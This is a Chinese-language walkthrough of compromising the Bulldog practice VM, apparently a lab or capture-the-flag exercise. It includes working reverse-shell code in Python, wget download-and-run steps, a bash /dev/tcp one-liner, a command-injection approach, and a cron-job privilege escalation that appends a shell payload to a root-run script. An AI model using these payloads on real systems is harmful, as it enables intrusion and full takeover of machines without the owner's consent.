Bulldog 渗透测试实战

环境准备

虚拟机需使用 VirtualBox 打开，网络模式设为 桥接模式（Bridge Adapter）。

信息收集

连通性测试

ping 192.168.43.176

端口扫描

nmap -v -sV -T4 192.168.43.176

扫描结果如下：

Web 漏洞利用

目录扫描

dirb http://192.168.43.176

发现以下路径：

• /admin — 后台登录页面（无可用账号）
• /dev/shell — 疑似命令执行入口，需要权限
• /dev — 提示信息，提到数据库不使用 phpMyAdmin

线索发现

访问 /dev 页面后，查看源代码发现一组测试用 hash：

使用 somd5.com 查询解密：

解密结果：

登录成功但权限较低，无法执行关键操作。

命令注入与获取 Shell

利用 /dev/shell

/dev/shell 页面允许执行部分预定义命令：

尝试 命令注入，成功突破限制：

反弹 Shell

直接执行 nc 反弹返回 500 错误，改为上传 Python 后门：

#!/usr/bin/pythonimport socket, subprocess, oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("192.168.43.109", 1234))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)subprocess.call(["/bin/bash", "-i"])

部署步骤：

1. 在 Kali 上开启 Web 服务：

   bash

   cd /var/www/htmlpython -m SimpleHTTPServer 80

2. 在靶机命令执行页下载后门：

   bash

   pwd && wget http://192.168.43.109/a.py

3. Kali 启动监听：

   bash

   nc -nvlp 1234

4. 在靶机执行后门：

   bash

   pwd && python a.py

权限提升

方法一：逆向工程提取密码

在 /var/www/ 下发现隐藏目录 ~admin，其中包含两个关键文件：

• note — 权限控制器说明
• customPermissionApp — 二进制文件

对二进制文件使用 strings 提取可读字符：

strings customPermissionApp

提取到关键字符串：SUPERultHimatePASHSWORDyouHCANTget

去掉所有 H 后得到：SUPERultimatePASSWORDyouCANTget

ssh -p 23 [email protected]

登录成功后切换 root：

sudo su

方法二：定时任务提权（备选方案）

若无法理解逆向过程，可通过 SUID 文件 + 定时任务 提权：

1. 查找所有者为 root、其他用户可写的文件：

   bash

   find / -perm -7 ! -type l -ls 2>/dev/null

2. 发现 /path/to/AVApplication.py 可疑文件：

   

3. 查找谁在调用该文件：

   bash

   grep -rnw '/' -e 'AVApplication.py' 2>/dev/null

   发现是 root 权限的定时任务，每秒执行一次。

4. 向该文件追加反弹 Shell 代码：

   bash

   echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.109",1233));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> AVApplication.py

5. Kali 监听等待连接：

   bash

   nc -nvlp 1233

   几秒后即可获得 root shell。

总结

echo 'bash -i >& /dev/tcp/192.168.43.109/1234 0>&1' | bash